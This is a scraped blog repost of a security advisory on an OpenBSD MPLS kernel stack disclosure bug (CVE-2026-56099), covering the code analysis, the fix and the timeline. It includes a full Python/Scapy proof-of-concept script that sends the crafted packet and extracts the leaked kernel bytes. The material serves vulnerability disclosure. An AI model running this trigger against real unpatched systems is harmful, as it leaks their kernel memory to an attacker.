{"id":64856,"date":"2026-06-22T14:36:17","date_gmt":"2026-06-22T14:36:17","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64856"},"modified":"2026-06-22T14:36:17","modified_gmt":"2026-06-22T14:36:17","slug":"openbsd-mplsdoerror-stack-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64856","title":{"rendered":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:00&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from an mplsdoerror remote kernel stack disclosure vulnerability via an MPLS label stack&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223968&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-56099&#8243;],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    OpenBSD mpls_do_error: Remote Kernel Stack Disclosure via MPLS Label \\n    Stack Over-read\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Affected:\u00a0 OpenBSD -current prior to 2026-06-18 (fixed in -current)\\n    Vendor:\u00a0 \u00a0 OpenBSD\\n    Severity:\u00a0 Medium\\n    Reporter:\u00a0 Argus Systems\\n    Date:\u00a0 \u00a0 \u00a0 2026-06-12\\n    CVE:\u00a0 \u00a0 \u00a0 \u00a0CVE-2026-56099\\n    \\n    \\n    1. SUMMARY\\n    ==========\\n    \\n    The mpls_do_error() function in sys\/netmpls\/mpls_input.c parses an\\n    incoming MPLS label stack into a fixed-size local array,\\n    struct shim_hdr stack[MPLS_INKERNEL_LOOP_MAX] (16 entries). When the\\n    parse loop completes without encountering the Bottom-of-Stack (BoS)\\n    label, nstk reaches MPLS_INKERNEL_LOOP_MAX (16). Several subsequent\\n    code paths then compute a copy length of (nstk + 1) * sizeof(*shim)\\n    &#8212; 17 entries &#8212; and use it with icmp_do_exthdr(), M_PREPEND(), and\\n    m_copyback() against the 16-entry stack object. This reads one\\n    struct shim_hdr (4 bytes) past the end of the array, and that data is\\n    reflected back to the sender inside the generated ICMP\/MPLS error\\n    response.\\n    \\n    \\n    2. AFFECTED VERSIONS\\n    ====================\\n    \\n    The (nstk + 1) length computations against the 16-entry stack[] array\\n    were introduced with the ICMP\/MPLS error path on 2010-09-13 (commit\\n    201d6983add, \\&#8221;First shot at ICMP error handling inside an MPLS path.\\n    Currently only TTL exceeded errors for IPv4 are handled.\\&#8221;). The parse\\n    loop was bounded by MPLS_INKERNEL_LOOP_MAX (16), but nothing rejected\\n    a stack that ran to completion without a BoS bit, so nstk could reach\\n    16 and the subsequent (nstk + 1) reads accessed stack[16].\\n    \\n    Affected: OpenBSD -current prior to 2026-06-18 (mpls_input.c pre\\n    v1.82).\\n    \\n    \\n    3. DETAILS\\n    ==========\\n    \\n    Vulnerable code (sys\/netmpls\/mpls_input.c, mpls_do_error):\\n    \\n    \u00a0 struct shim_hdr stack[MPLS_INKERNEL_LOOP_MAX];\u00a0 \u00a0\/* 16 entries *\/\\n    \u00a0 &#8230;\\n    \u00a0 for (nstk = 0; nstk \\u003c MPLS_INKERNEL_LOOP_MAX; nstk++) {\\n    \u00a0 \u00a0 \u00a0 &#8230;\\n    \u00a0 \u00a0 \u00a0 stack[nstk] = *mtod(m, struct shim_hdr *);\\n    \u00a0 \u00a0 \u00a0 m_adj(m, sizeof(*shim));\\n    \u00a0 \u00a0 \u00a0 if (MPLS_BOS_ISSET(stack[nstk].shim_label))\\n    \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 break;\\n    \u00a0 }\\n    \u00a0 \/* no guard: with no BoS bit set, nstk == 16 here *\/\\n    \\n    \u00a0 shim = \\u0026stack[0];\\n    \u00a0 &#8230;\\n    \u00a0 case IPVERSION:\\n    \u00a0 \u00a0 \u00a0 &#8230;\\n    \u00a0 \u00a0 \u00a0 if (icmp_do_exthdr(m, ICMP_EXT_MPLS, 1, stack,\\n    \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 (nstk + 1) * sizeof(*shim)))\\n    \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 return (NULL);\\n    \u00a0 \u00a0 \u00a0 &#8230;\\n    \\n    MPLS_INKERNEL_LOOP_MAX is defined as 16 and sizeof(struct shim_hdr) is\\n    4. With nstk == 16, each of these copies 17 * 4 = 68 bytes from a\\n    64-byte stack[] object, reading stack[16] &#8212; one struct shim_hdr (4\\n    bytes) of adjacent kernel stack &#8212; and including it in the response.\\n    \\n    The same (nstk + 1) length is later used to prepend and m_copyback()\\n    the stack back onto the reflected packet:\\n    \\n    \u00a0 M_PREPEND(m, (nstk + 1) * sizeof(*shim), M_NOWAIT);\\n    \u00a0 &#8230;\\n    \u00a0 m_copyback(m, 0, (nstk + 1) * sizeof(*shim), stack, M_NOWAIT);\\n    \\n    so the leaked entry also travels on the wire as the 17th MPLS shim\\n    header of the returned frame.\\n    \\n    \\n    4. REACHABILITY\\n    ===============\\n    \\n    The path is reachable remotely via mpls_input() -\\u003e mpls_do_error() on\\n    systems that have MPLS enabled on an interface. The trigger is a\\n    crafted MPLS frame (EtherType 0x8847) carrying 16 labels with no BoS\\n    bit set and an outermost label TTL of 1, so the TTL-exceeded error\\n    path is taken:\\n    \\n    \u00a0 mpls_input\u00a0 (ttl \\u003c= 1)\\n    \u00a0 \u00a0 -\\u003e mpls_do_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0)\\n    \\n    The inner payload must be IPv4 so the IPVERSION branch is reached.\\n    \\n    \\n    5. IMPACT\\n    =========\\n    \\n    Each crafted packet leaks 4 bytes of kernel stack memory adjacent to\\n    the stack[] array. The leak is carried in the ICMP\/MPLS extension\\n    object of the error response reflected back to the sender, so an\\n    attacker can harvest the leaked bytes.\\n    \\n    \\n    6. PROOF OF CONCEPT\\n    ===================\\n    \\n    A Python\/Scapy PoC sends a 16-label MPLS frame with no BoS bit set\\n    and an outermost label TTL of 1, then captures the reply. On a\\n    vulnerable kernel the reply carries 17 MPLS shim headers on the wire;\\n    the 17th (stack[16]) is the leaked kernel stack data.\\n    \\n    PoC:\\n    https:\/\/pop.argus-systems.ai\/attachments\/poc-008-mpls-stack-leak.py\\n    \\n    \\n    7. FIX\\n    ======\\n    \\n    Fixed in -current by mvs on 2026-06-18. The fix adds a guard that\\n    drops a label stack which runs to completion without a BoS bit, so\\n    nstk can no longer reach MPLS_INKERNEL_LOOP_MAX:\\n    \\n    \u00a0 if (nstk \\u003e= MPLS_INKERNEL_LOOP_MAX) {\\n    \u00a0 \u00a0 \u00a0 m_freem(m);\\n    \u00a0 \u00a0 \u00a0 return (NULL);\\n    \u00a0 }\\n    \\n    Fix commit (mpls_input.c v1.82):\\n    https:\/\/github.com\/openbsd\/src\/commit\/6a23123ec05f1eb29cfcaae0f3a468b2e1983cfd\\n    \\n    \\n    8. TIMELINE\\n    ===========\\n    \\n    \u00a0 2026-06-12\u00a0 Reported to security@openbsd.org with PoC\\n    \u00a0 2026-06-18\u00a0 Fix committed to -current\\n    \\n    \\n    9. CREDIT\\n    =========\\n    \\n    Discovered and reported by Argus Systems (https:\/\/byteray.co.uk\/).\\n    \\n    \\n    10. REFERENCES\\n    ==============\\n    \\n    Advisory:\\n    \u00a0 https:\/\/pop.argus-systems.ai\/advisory\/adv-040.html\\n    \\n    Proof of concept:\\n    https:\/\/pop.argus-systems.ai\/attachments\/poc-008-mpls-stack-leak.py\\n    \\n    Fix commit:\\n    https:\/\/github.com\/openbsd\/src\/commit\/6a23123ec05f1eb29cfcaae0f3a468b2e1983cfd\\n    \\n    \\n    &#8212; packet storm poc attached &#8212;\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    PoC for report-008: MPLS label stack OOB read in mpls_do_error.\\n    \\n    When 16 MPLS labels arrive with no BoS bit set and TTL expires,\\n    nstk reaches 16 and (nstk+1)*sizeof(shim_hdr) = 17 entries are\\n    passed to icmp_do_exthdr \/ m_copyback. The 17th entry (stack[16])\\n    is adjacent kernel stack memory, reflected back in the ICMP error&#8217;s\\n    MPLS extension object.\\n    \\n    Setup required:\\n      Host:    tap0 at 192.168.100.1\\n      OpenBSD: vio0 at 192.168.100.2, mpls enabled\\n    \\n    OpenBSD setup commands (as root):\\n      # ifconfig vio0 192.168.100.2\/24 mpls up\\n      # sysctl net.mpls.ttl=255\\n    \\n    Usage:\\n      sudo python3 poc-008-mpls-stack-leak.py [&#8211;iface tap0] [&#8211;dst 192.168.100.2]\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import argparse\\n    import sys\\n    from scapy.all import Ether, IP, ICMP, sendp, sniff, get_if_hwaddr, get_if_list, srp, ARP\\n    from scapy.contrib.mpls import MPLS\\n    \\n    MPLS_INKERNEL_LOOP_MAX = 16\\n    \\n    \\n    def resolve_mac(dst_ip, iface, src_ip):\\n        ans, _ = srp(\\n            Ether(dst=\\&#8221;ff:ff:ff:ff:ff:ff\\&#8221;) \/ ARP(pdst=dst_ip, psrc=src_ip),\\n            iface=iface, timeout=2, verbose=False\\n        )\\n        if not ans:\\n            return None\\n        return ans[0][1][ARP].hwsrc\\n    \\n    \\n    def build_trigger(dst_mac, src_mac, dst_ip, src_ip):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        16 MPLS labels, no BoS on any, outermost TTL=1 so it expires on ingress.\\n        Inner IPv4 payload so mpls_do_error takes the IPVERSION branch.\\n        \\&#8221;\\&#8221;\\&#8221;\\n        inner = IP(src=src_ip, dst=dst_ip, ttl=64, proto=1) \/ ICMP()\\n    \\n        stack = None\\n        for i in range(MPLS_INKERNEL_LOOP_MAX &#8211; 1, -1, -1):\\n            ttl = 1 if i == 0 else 64\\n            lbl = MPLS(label=100 + i, s=0, ttl=ttl)\\n            stack = lbl \/ stack if stack else lbl\\n    \\n        return Ether(src=src_mac, dst=dst_mac, type=0x8847) \/ stack \/ inner\\n    \\n    \\n    def parse_extension(icmp_raw):\\n        # ICMP extensions follow 128 bytes of original datagram\\n        offset = 128\\n        if len(icmp_raw) \\u003c= offset:\\n            return None\\n        return icmp_raw[offset:]\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser()\\n        parser.add_argument(\\&#8221;&#8211;iface\\&#8221;, default=\\&#8221;tap0\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;dst\\&#8221;,   default=\\&#8221;192.168.100.2\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;src\\&#8221;,   default=\\&#8221;192.168.100.1\\&#8221;)\\n        args = parser.parse_args()\\n    \\n        if args.iface not in get_if_list():\\n            print(f\\&#8221;ERROR: interface {args.iface} not found\\&#8221;, file=sys.stderr)\\n            sys.exit(1)\\n    \\n        src_mac = get_if_hwaddr(args.iface)\\n    \\n        print(f\\&#8221;Resolving MAC for {args.dst}&#8230;\\&#8221;)\\n        dst_mac = resolve_mac(args.dst, args.iface, args.src)\\n        if not dst_mac:\\n            print(\\&#8221;ARP failed &#8212; is the VM up and vio0 configured?\\&#8221;)\\n            sys.exit(1)\\n        print(f\\&#8221;  {args.dst} is at {dst_mac}\\&#8221;)\\n    \\n        pkt = build_trigger(dst_mac, src_mac, args.dst, args.src)\\n    \\n        # The kernel&#8217;s mpls_do_error builds an ICMP error, prepends (nstk+1)=17\\n        # shim headers (one past the 16-entry stack[]), then mpls_input SWAPs\\n        # label 100-\\u003e200 and sends it back as EtherType 0x8847. We capture that.\\n        from scapy.all import AsyncSniffer\\n        is_mpls_from_vm = lambda p: (\\n            p.haslayer(&#8216;Ether&#8217;) and\\n            p[&#8216;Ether&#8217;].type == 0x8847 and\\n            p[&#8216;Ether&#8217;].src == dst_mac\\n        )\\n        sniffer = AsyncSniffer(iface=args.iface, count=1, timeout=5,\\n                               lfilter=is_mpls_from_vm)\\n        sniffer.start()\\n    \\n        print(f\\&#8221;Sending {MPLS_INKERNEL_LOOP_MAX}-label no-BoS packet (outermost TTL=1)&#8230;\\&#8221;)\\n        sendp(pkt, iface=args.iface, verbose=False)\\n    \\n        sniffer.join(timeout=5)\\n        replies = sniffer.results or []\\n    \\n        if not replies:\\n            print(\\&#8221;\\\\nNo MPLS reply received.\\&#8221;)\\n            print(\\&#8221;Fix: in the VM as root, swap the route:\\&#8221;)\\n            print(\\&#8221;  route delete -mpls -in 100 -pop -inet 192.168.100.1\\&#8221;)\\n            print(\\&#8221;  route add -mpls -in 100 -swap -out 200 -inet 192.168.100.1\\&#8221;)\\n            return\\n    \\n        reply = replies[0]\\n        raw = bytes(reply)[14:]  # strip 14-byte Ethernet header\\n        print(f\\&#8221;\\\\nMPLS reply received ({len(raw)} bytes)  [TRIGGER CONFIRMED]\\&#8221;)\\n    \\n        # Wire packet structure (after Ethernet):\\n        #   [0]      label 200        \u2014 SWAP outgoing label (replaced stack[0]=100)\\n        #   [1..15]  labels 101\u2013115   \u2014 stack[1..15], all s=0\\n        #   [16]     stack[16]        \u2014 OOB read: 4 bytes past the 64-byte stack[] array\\n        #   [17+]    inner IP\/ICMP    \u2014 bytes misread as shims by this loop\\n        #\\n        # Expected labels 101-115 have raw 0x00065040 .. 0x00073040 pattern.\\n        # stack[16] will NOT match that pattern.\\n        EXPECTED_SHIMS = MPLS_INKERNEL_LOOP_MAX + 1  # 1 SWAP + 15 inner + 1 leaked\\n    \\n        print(f\\&#8221;\\\\nMPLS shim headers (first {EXPECTED_SHIMS + 2} parsed):\\&#8221;)\\n        offset = 0\\n        shim_count = 0\\n        ip_start = None\\n        while offset + 4 \\u003c= len(raw) and shim_count \\u003c EXPECTED_SHIMS + 2:\\n            chunk = raw[offset:offset+4]\\n            val   = int.from_bytes(chunk, &#8216;big&#8217;)\\n            label = (val \\u003e\\u003e 12) \\u0026 0xFFFFF\\n            s     = (val \\u003e\\u003e 8)  \\u0026 0x1\\n            ttl   =  val        \\u0026 0xFF\\n            if shim_count == 0:\\n                tag = \\&#8221;  (SWAP outgoing label)\\&#8221;\\n            elif shim_count == MPLS_INKERNEL_LOOP_MAX:\\n                # slot 16: 1 SWAP + 15 inner labels (101-115) = index 16 = stack[16]\\n                tag = \\&#8221;  \\u003c&#8211; stack[16] LEAKED KERNEL STACK BYTES\\&#8221;\\n                leaked_bytes = chunk\\n            elif shim_count \\u003e= MPLS_INKERNEL_LOOP_MAX:\\n                tag = \\&#8221;  (inner IP header)\\&#8221;\\n                if ip_start is None:\\n                    ip_start = offset\\n            else:\\n                tag = \\&#8221;\\&#8221;\\n            print(f\\&#8221;  [{shim_count:2d}] label={label:\\u003c6} s={s} ttl={ttl:\\u003c3}  raw={chunk.hex()}{tag}\\&#8221;)\\n            offset += 4\\n            shim_count += 1\\n            if s == 1 and ip_start is None:\\n                ip_start = offset\\n                break\\n    \\n        # The actual IP packet starts at offset 17*4 = 68 bytes (17 MPLS shims on wire)\\n        # regardless of how many the loop consumed.\\n        ip_offset = EXPECTED_SHIMS * 4  # 17 * 4 = 68\\n        if ip_start is None:\\n            ip_start = ip_offset\\n    \\n        # Verify: shim count in reply\\n        # A correct implementation would return NULL (no reply) or send \\u003c=16 shims.\\n        # Seeing 17 shims (SWAP + 15 inner + 1 leaked) proves the OOB read.\\n        oob_confirmed = shim_count \\u003e MPLS_INKERNEL_LOOP_MAX\\n        if not oob_confirmed:\\n            print(f\\&#8221;\\\\nNOT TRIGGERED\\&#8221;)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223968&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.9,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:L\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223968\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:00&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from an mplsdoerror remote kernel stack disclosure vulnerability via an MPLS label stack&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223968&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-56099&#8243;],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n OpenBSD mpls_do_error: Remote Kernel Stack Disclosure&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,21,13,53,7,11,5],"class_list":["post-64856","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64856\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:00&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from an mplsdoerror remote kernel stack disclosure vulnerability via an MPLS label stack&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223968&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-56099&#8243;],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;n OpenBSD mpls_do_error: Remote Kernel Stack Disclosure...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64856\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-22T14:36:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968\",\"datePublished\":\"2026-06-22T14:36:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856\"},\"wordCount\":2045,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.9\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64856#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856\",\"name\":\"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-22T14:36:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64856\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64856#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64856","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure_PACKETSTORM:223968 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-22T18:40:00&#8243;,&#8221;description&#8221;:&#8221;OpenBSD suffers from an mplsdoerror remote kernel stack disclosure vulnerability via an MPLS label stack&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenBSD mpls_do_error Stack Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223968&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-56099&#8243;],&#8221;sourceData&#8221;:&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;n OpenBSD mpls_do_error: Remote Kernel Stack Disclosure...","og_url":"https:\/\/zero.redgem.net\/?p=64856","og_site_name":"zero redgem","article_published_time":"2026-06-22T14:36:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 